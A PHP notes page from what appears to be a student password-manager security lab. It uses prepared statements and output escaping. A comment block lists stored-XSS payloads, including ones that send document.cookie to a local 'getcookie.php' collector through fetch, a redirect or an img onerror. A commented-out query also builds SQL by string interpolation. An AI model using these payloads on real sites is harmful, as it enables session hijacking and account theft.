190 lines
5.9 KiB
PHP
190 lines
5.9 KiB
PHP
<?php
|
|
// Resume existing session (or start a new one)
|
|
session_start();
|
|
|
|
// If not logged in redirect to login page
|
|
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true || $_SESSION['username'] == '') {
|
|
header("Location: login.php");
|
|
exit;
|
|
}
|
|
|
|
$username = $_SESSION['username'];
|
|
|
|
// Connect to the database
|
|
// $conn=mysqli_connect("localhost","root","","pwd_mgr");
|
|
// // Check connection
|
|
// if (mysqli_connect_errno()) {
|
|
// echo "Failed to connect to MySQL: " . mysqli_connect_error();
|
|
// exit();
|
|
// }
|
|
require_once __DIR__ . "/config.php";
|
|
|
|
// Check if new note is entered and add it
|
|
if(isset($_POST['new_note']) && trim($_POST['new_note']) !='') {
|
|
$new_note = trim($_POST["new_note"]);
|
|
|
|
/*
|
|
XSS using alert(2)<script>alert(2);</script>
|
|
XSS using string.fromCharCode with ASCII codes<script>alert(String.fromCharCode(88,83,83,32,117,115,105,110,103,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101));</script>
|
|
XSS eval of Hex Unicode Escape Sequences<script>eval("\u0061\u006c\u0065\u0072\u0074(\u0022\u0058\u0053\u0053\u0020\u0075\u0073\u0069\u006e\u0067\u0020\u0065\u0076\u0061\u006c\u0022)");</script>
|
|
XSS console cookie<script>console.log(document.cookie);alert(document.cookie);</script>
|
|
XSS steal cookie with fetch
|
|
<script>
|
|
fetch(`http://localhost/passman/xss/getcookie.php?v=`+document.cookie)
|
|
.then(response => response.text())
|
|
.then(data => {
|
|
console.log(data);
|
|
})
|
|
.catch(error => {
|
|
console.error(`Error fetching data:`, error);
|
|
});
|
|
</script>
|
|
XSS steal cookie with simpler fetch<script>fetch(`http://localhost/passman/xss/getcookie.php?v=`+document.cookie)</script>
|
|
or<script>fetch(`http://localhost/passman/xss/getcookie.php?v=${document.cookie}`)</script>
|
|
|
|
// HAS PROBLEM: XSS steal cookie with href redirection<script>window.location.href=`http://localhost/passman/xss/getcookie.php?v=`+document.cookie;</script>
|
|
// HAS PROBLEM: XSS steal cookie with img on-error<img src=x onerror=this.src=`http://localhost/passman/xss/getcookie.php?v=`+document.cookie;>
|
|
*/
|
|
|
|
// Insert new note
|
|
//$sql_query = "INSERT INTO notes (login_user_id,note) VALUES " .
|
|
// "((SELECT id FROM login_users WHERE username='{$username}'),('{$new_note}'));";
|
|
|
|
// Insert new note using a prepared statement to prevent SQL injection.
|
|
$sql_query = "INSERT INTO notes (login_user_id, note) ".
|
|
"VALUES ((SELECT id FROM login_users WHERE username = ?), ?)";
|
|
|
|
$stmt = $conn->prepare($sql_query);
|
|
if ($stmt === false) {
|
|
// Fail closed (do not leak DB details).
|
|
$conn->close();
|
|
die("Prepare failed.");
|
|
}
|
|
|
|
$stmt->bind_param("ss", $username, $new_note);
|
|
//echo $sql_query;
|
|
|
|
$result = $stmt->execute();
|
|
$stmt->close();
|
|
$conn->close();
|
|
|
|
|
|
// After processing, redirect to the same page to clear the form
|
|
unset($_POST['new_note']);
|
|
header("Location: " . $_SERVER['PHP_SELF']);
|
|
exit();
|
|
}
|
|
|
|
// Display list of all notes/comments
|
|
$sql_query = "SELECT notes.note, login_users.username FROM notes INNER JOIN login_users ON notes.login_user_id=login_users.id;";
|
|
//echo $sql_query;
|
|
$result = $conn->query($sql_query);
|
|
|
|
echo "<h3>List of notes/comments</h3>";
|
|
|
|
if (!empty($result) && $result->num_rows >= 1) {
|
|
while ($row = $result -> fetch_assoc()) {
|
|
// Escape output to prevent stored XSS (DB content must be treated as untrusted).
|
|
$safe_note = htmlspecialchars($row["note"], ENT_QUOTES | ENT_SUBSTITUTE, "UTF-8");
|
|
$safe_user = htmlspecialchars($row["username"], ENT_QUOTES | ENT_SUBSTITUTE, "UTF-8");
|
|
|
|
echo "<div class='note'>";
|
|
echo "<div class='note-content'>" . $safe_note . "</div>";
|
|
echo "<div class='note-signature'> by " . $safe_user . "</div>";
|
|
echo "</div>";
|
|
}
|
|
|
|
|
|
// Free result set
|
|
$result -> free_result();
|
|
} else {
|
|
echo "<p><font color=red>No entries found.</font></p>";
|
|
}
|
|
|
|
$conn -> close();
|
|
?>
|
|
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>Notes - Comments</title>
|
|
<style>
|
|
form {
|
|
max-width: 500px;
|
|
margin: 20px 0;
|
|
padding: 20px;
|
|
border: 1px solid #ccc;
|
|
background-color: #f9f9f9;
|
|
text-align: left;
|
|
}
|
|
label {
|
|
font-size: 1.1em;
|
|
margin-bottom: 10px;
|
|
display: inline-block;
|
|
}
|
|
textarea {
|
|
width: 100%;
|
|
height: 150px;
|
|
padding: 10px;
|
|
font-size: 1em;
|
|
border: 1px solid #ccc;
|
|
resize: vertical;
|
|
text-align: left;
|
|
}
|
|
button {
|
|
padding: 10px 20px;
|
|
font-size: 1em;
|
|
background-color: #4CAF50;
|
|
color: white;
|
|
border: none;
|
|
cursor: pointer;
|
|
}
|
|
button:hover {
|
|
background-color: #45a049;
|
|
}
|
|
|
|
body {
|
|
font-family: Arial, sans-serif;
|
|
background-color: #f4f4f9;
|
|
margin: 0;
|
|
padding: 20px;
|
|
}
|
|
|
|
.note {
|
|
width: 510px;
|
|
background-color: #f9f9f9;
|
|
border: 1px solid #ddd;
|
|
padding: 15px;
|
|
margin-bottom: 15px;
|
|
border-radius: 5px;
|
|
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
|
|
}
|
|
.note-content {
|
|
font-size: 1.2em;
|
|
color: #333;
|
|
}
|
|
.note-signature {
|
|
text-align: right;
|
|
font-size: 0.9em;
|
|
color: #666;
|
|
margin-top: 10px;
|
|
font-style: italic;
|
|
}
|
|
</style>
|
|
</head>
|
|
|
|
<body>
|
|
<p/>
|
|
<form method="POST">
|
|
<label for="note">Enter your note:</label><br>
|
|
<textarea id="note" name="new_note" placeholder="Write your note here..." required></textarea><br><br>
|
|
<button type="submit">Submit Note</button>
|
|
</form>
|
|
|
|
<a href="dashboard.php">Dashboard</a>
|
|
<p/>
|
|
<a href="logout.php">Logout</a>
|
|
</body>
|
|
</html>
|